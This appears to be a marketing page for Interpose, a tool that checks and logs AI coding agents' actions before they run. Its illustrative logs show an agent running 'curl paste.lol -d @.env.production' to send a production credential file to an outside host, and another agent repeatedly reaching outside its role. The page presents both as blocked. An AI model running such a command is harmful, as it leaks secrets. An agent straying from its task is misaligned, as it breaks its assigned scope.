One gate, before every action, that your security team controls.

Interpose puts one control between your agents and everything they can touch, inside the agent harness itself. Every tool call is checked before it runs, the policy is set centrally, and every decision is written to a signed record. Deterministic end to end: no model in the decision path, so the gate cannot be prompt injected or argued with.

Get the technical brief Start with the audit

What the gate asks before an action runs.

Four questions, in this order, in under a millisecond. The first is a hard stop and never relaxes. Scope and task are set to alert or block per control by your team. The baseline only flags.

1 · Hard rules

Is this a credential, a key, a cloud config, a system directory?

Denied from day one. The floor ships with the policy and cannot be released by a developer.

2 · Scope

Is this file or tool inside what this role is allowed to touch?

Each agent runs under a role with a scope. Outside it is logged in alert mode, denied in block mode.

3 · Task

Does this action match the task the developer typed?

The task is captured at the start of the session. An action that drifts from it is the signal a static rule cannot see.

4 · Baseline

Has this agent done this before?

Interpose learns what each role normally does. A first time action is surfaced for a person to look at. It flags, it does not block.

14:02:38	shell	curl paste.lol -d @.env.production	incoming
	1	credential file.env.production is on the credential floor	deny
	2	paste.lolnot on this role's network allowlist	deny
	3	task: triage the failing buildegress of a secret does not serve the task	drift
	4	first egress from payments-api this monthsurfaced for review	new
14:02:38	gate	blocked before it ran. Side effect never landed.	blocked

payments-api · entry 4 · illustrativeverify VALID

One action, through all four.

An agent asked to triage a failing build tries to send the production credential file to an unlisted host. The first question already answers it. The other three are still written to the record, so the security team sees why, not just what.

Blocked means it never ran. The check happens where Claude Code asks to run the tool, before the side effect lands. A hard rule is never released by a developer. A scope or task stop can be, and the release is logged.
Ambiguous cases can escalate to a model you host. It can raise scrutiny or confirm a stop. It cannot loosen a deny, and hard rules never escalate.
If that endpoint is unreachable, the deterministic answer stands. The gate never waits on a model to keep the agent safe.

Policy review, payments-api. Drafted from this week's approvals and denials. Illustrative.

allow	read	src and docs	26×
allow	edit	src	19×
deny	read	.env and secrets	hard rule
escalate	net	unlisted hosts, to your model	proposed

waiting on security to approve or adjustnothing enforced until a person says so

Interpose drafts the policy. Your team owns it.

Interpose watches what agents actually do and drafts a rule in plain language. A person on the security team approves it before anything is enforced. Developer approvals and denials are signal, not authority.

Policy is set centrally. It lives in the console on your network and cannot be edited from a developer machine.
Every change is signed to the record. Who approved what, and when.
A developer can release a wrong stop. The release is logged, it expires, and the rule tightens from the miss.

An agent that will not stay in its lane. Illustrative.

10:14:22	deny	third reach for files outside the role, auth-service	blocked
10:14:22	mode	agent restrictedrepeat violations inside one session. The rest of the fleet keeps working.	escalated
10:16:05	deny	continued reaches under restriction	blocked
10:16:05	mode	agent quarantinednothing runs until a person looks. Signed like every other entry.	quarantined
10:31:48	mode	released by operatorone command, after review. The release is in the record too.	released

auth-service · illustrativeverify VALID · chain intact

Can you turn your agents off right now?

Most teams cannot answer that question. Interpose can: an agent that keeps violating policy is restricted, then quarantined, automatically or by an operator, while every other agent keeps working. Release is one command, and the quarantine and the release both land on the signed record.

Per agent, not per machine. One runaway session is stopped without pulling a developer's laptop or killing the fleet.
With forensics attached. The record shows exactly what the agent did before it was stopped, entry by entry, verifiable.
Detection tools tell you something went wrong. Interpose stops it mid session and proves both. That is the difference between a report and a control.

What the gate sees.

Every action in the agent's path, evaluated at the moment it happens.

Tool and file calls: Every read, write, and tool invocation the agent makes.
Shell commands: With a guard on irreversible, destructive ones, routed to Claude Code's own confirmation prompt.
Network egress: Checked against an allowed host list before data leaves the machine.
MCP calls and skills: Local and hosted, evaluated like any other action.
Runtimes: Claude Code, through a native hook. It is the only live integration today.

Start with the brief. Then the audit, on your own fleet.

The technical brief, a seven minute read

The three questions a security architect asks first
The hook model and the four checks
The policy file, with the alert and block settings
The signed trail: verify, read, recover
Scope and limits, stated plainly

The Agent Exposure Audit is two weeks in transparent mode, installed with your team inside your boundary at a fixed fee agreed in writing. It records everything, blocks only reaches for credentials, and ends with the Rollout Evidence Report. The pilot then moves the other controls to block, one at a time, at the pace your team sets. You keep the report either way.

Get the technical brief Scope the audit

Questions before either? [email protected] or [email protected]. A founder answers.